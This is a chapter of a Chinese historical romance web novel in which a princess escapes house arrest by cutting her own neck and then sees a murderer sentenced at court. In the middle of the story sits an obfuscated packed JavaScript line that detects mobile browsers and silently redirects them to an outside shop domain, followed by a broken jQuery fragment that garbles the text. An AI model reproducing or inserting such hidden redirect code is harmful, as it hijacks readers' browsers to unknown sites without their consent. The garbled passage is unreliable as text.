睡醒的云楠感觉有点无聊,既然已经在江煜面前暴露了,那她也完全没必要再伪装下去
从空间里拿出一片玻璃,再拿丝带将镜子缠绕在银簪尾端,轻手轻脚在窗户上打开一条缝隙,云楠趴在栏上仔细观察着玻璃反射的影像
不瞅不知道一瞅吓一跳,江煜这是派了多少护卫来守着她?保守估计有四五个,云楠缓慢移动着手中的银簪心里做着打算,江煜不仁可别怪她不义
打开房门,不出意料被守卫在门外的护卫拦住,“王妃,奉王爷命令,您不能出去”
“如果我没记错,王爷只是不让我出府,你这是在:”
护卫低头看着自己手里的剑柄,心下思考王爷当时确实只是吩咐不让王妃出府
“让开!”当王妃当了这么长时间,云楠身上还是有些王妃这个位置该有的威严在的
护卫收回剑鞘,拱手做辑给云楠让行
虽说为云楠让了行,但被派来守着云楠的护卫还是寸步不离的跟着云楠,云楠无所畏惧地走到了王府大门之处,警惕的护卫再次挡在云楠身前,“王妃”
就在这时,云楠以顺耳不及掩耳之势拔出了挡在自己身前护卫的长剑,一个用力,长剑被架在云楠的脖颈之处
“让我出府”不见护卫的回话,云楠下了狠劲,在避开自己颈动脉处划开了道一指宽的口子,“让我出府”仿佛伤得不是自己,云楠表情并不半分变化,眼神沉静语气冰冷
“王妃!请不要为难在下”以被抽走长剑的护卫为首,其余三人纷纷跪下
为首的护卫低着头,粗粝光洁的石板上被一朵朵盛开鲜艳的红花渲染,护卫只觉这一瞬仿佛过了一个世纪
“你这剑我用得上,算我借你的”云楠看着起身后退不做言语的护卫,卸下脖颈处的长剑,为自己做着简单的包扎
出了王府的云楠动身去了开封县,直奔官府,由于知县被杀,县丞不得已做上了知县的位置替其处理事务
“胡海!你可认罪?”吕雷重力拍响醒木,怒目圆睁地看着跪在公堂上的胡海
“我不认罪!仅凭一个令牌如何证明人就是我杀的?分明她们这群婊子与我结怨,偷了我的令牌故意诬陷!”被抓回官府的胡海依旧嘴硬
“结怨?”
“是的大人”胡海将那晚之事如实道来,“大人,这群女人拒捕殴打捕头,由此可见她们的品行有多么低劣,这种人说的话如何能信?”
吕雷摸了摸自己的胡须思索一番,“程氏,胡海所言是否为真?”
“大人她们还是群自梳女”
不等程殇回话,胡海有了自信,轻笑一声像是嘲讽
听到自梳女三字,本是在公堂外看胡海是如何被判刑的百姓们议论纷纷起来
“自梳女?爹爹自梳女是什么呀?”涉世未深的幼儿出声好奇地询问将自己背在身后的爹爹
“自梳女就是些嫁不出去聚在一起想报复社会的疯女子,囡囡可不要靠近……”
脾气暴躁的平安向来听不得这些污蔑之词,甩沈桃花的手臂站在那位背着小孩的男人面前,“报复社会?那你倒是说说,我们姐妹到底做过何报复社会的事!?”
醒木被拍响的声音再次传来,众人噤声,平安被沈桃花和鸢尾两人拉回身前,只是这次众人的眼神从同情变成了疏远和厌恶
“程氏,胡海所言是否属实?”
“大人,我众姐妹一向安分守己,又怎做得出来故意诬陷这等事,当日分明是胡海滥用职权,无故抓人,我众姐妹迫不得已才动手自卫”程殇性情一向温和,竟也被眼前无耻之人所言气恼
眼见吕雷对他的态度有所缓和,胡海趁胜追击,“大人,按本朝律例,拒捕殴打官差者应该被判以流放啊大人”
“不止,本朝律例还有,无牒文私闯民宅者杖三十,无故m杀人者,斩立决,这些你不会不清楚吧?”
来人是一位穿着素色粗布,头上不簪任何饰品但也难掩其贵气的女子,胡海看到这人登时被激起了情绪,激动地对着台上的吕雷告状,“大人,此女子正是这些自梳女的头头”
“何人给你的胆子敢议论王妃?”一直跟随在云楠身后的李限踢了胡海一脚,被踹翻的胡海吐出口血来,“此人竟敢在官府伤人,大人可要为属下做主啊”胡海完全没把踢自己人说的话放在心上,王妃?哪有这么巧的事
展示别在腰间的令牌,认出令牌的吕雷双膝下跪,垂首不敢直视眼前之人,“下官不知王妃驾临,有失远迎,还请王妃恕罪”
“吕大人,此人害死的是本王妃的闺友,你说该怎么办”云楠故作娇俏,笑盈盈盯着正在抹汗的吕雷
“杀人偿命,自当是当斩”
“斩?戳了戳鼓起的脸颊,云楠直起腰身转圈思考,“太血腥了我可是会做噩梦的”
血腥?害怕?瞥到云楠脖颈处被帕子遮挡的伤口,李限嘴角一抽
“那便判他流放岭南,终身不能回京”被云楠亲手扶起的吕雷惶恐不安,浑身僵直生怕惹怒了眼前之人
“这可是大人说的”转身看着被自己三言两语就被判了罪的胡海,云楠歪头一笑,五指张开做起拜拜的手势,只不过没有一人能看懂就是了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596566|205235||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
岭南两个字充斥了胡海的耳朵,竟是直接吓尿了
“来人,此人有损公堂威严,拉下去先打二十大板”扯过李限递过来的手帕,云楠捂住嘴鼻,察言观色的吕雷立即下了指令
“大人饶命啊大人!”被衙役拉出去的胡海大声喊叫着
“犯人胡海杀害曲氏一案,证据齐全,判流放岭南!退堂”
两侧举着黑水火棍的衙役将棍点地,嘴里喊着威武
“小……嗯,王妃”本想上去和云楠亲近一番,毕竟这次要不是云楠,说不定被流放的就是她们了,看到云楠身后护卫的眼神,程殇换了称呼
“程殇姐姐莫非是故意要疏远于我?”云楠晃着程殇的手臂嗔怪一声
被云楠看得受不了的程殇终于露出了自曲屏儿死后第一真实的笑容,刮了下云楠的鼻子,温声喊着小楠
“屏儿,害你之人已遭到报应,你在天之灵安息吧”放走手里的许愿灯,众人双手合十为曲屏儿祈福
“平日里你和复来俩人都是形影不离的,这次怎么不见她?”问出心中疑问,得知真相后程殇叹了口气,“这事错不在复来,她也是担心你的身体”
“王妃,时候不早了,该回府了”
“谁准你们允许王妃出府的!?”府中的所有下人跪在院前,无一人敢喘着大气
“启禀王爷,当时王妃把刀架在自己脖子上,属下不敢不从啊”其中一位护从大着胆子回话
“出了便出了,王爷发这么大火干什么?”语气淡然得仿佛此事不是因她而起
云楠脖颈上的手帕,真是想让人不注意到都难,江煜瞬间眼眶发红,“你!你!你简直是好样的”
忽略江煜震怒的话语,云楠垫脚主动吧唧了江煜一口,拍了拍江煜紧随而来的脸颊,了然一笑,随后踏入房间紧闭房门
还没等云楠坐下休息,江煜恼怒踹开房门,“你这是恃宠而骄!”
映入眼帘的是云楠脖颈处触目惊心的伤口,江煜止住了话语,指责的话再也说不出口,三步两回头地走出房门,烦躁的只能对着眼前的下人发气,“夫人受伤了不知道给她拿药膏吗?我养你们是干什么吃的?”
看着主子远去,众人皆是抑制不住扑哧笑了出来
大步流星雨走到厨房,身体不控制般拿起一旁的大米,等熬好米粥后江煜才意识到自己做了什么,不过秉持着不能浪费食物的原则,还是派人将米粥送去了云楠屋里
“王妃既然喜欢出去,便让她出去罢,只是你要好好盯着王妃,莫要让她被那些不三不四的男人勾搭了去”
“属下领命”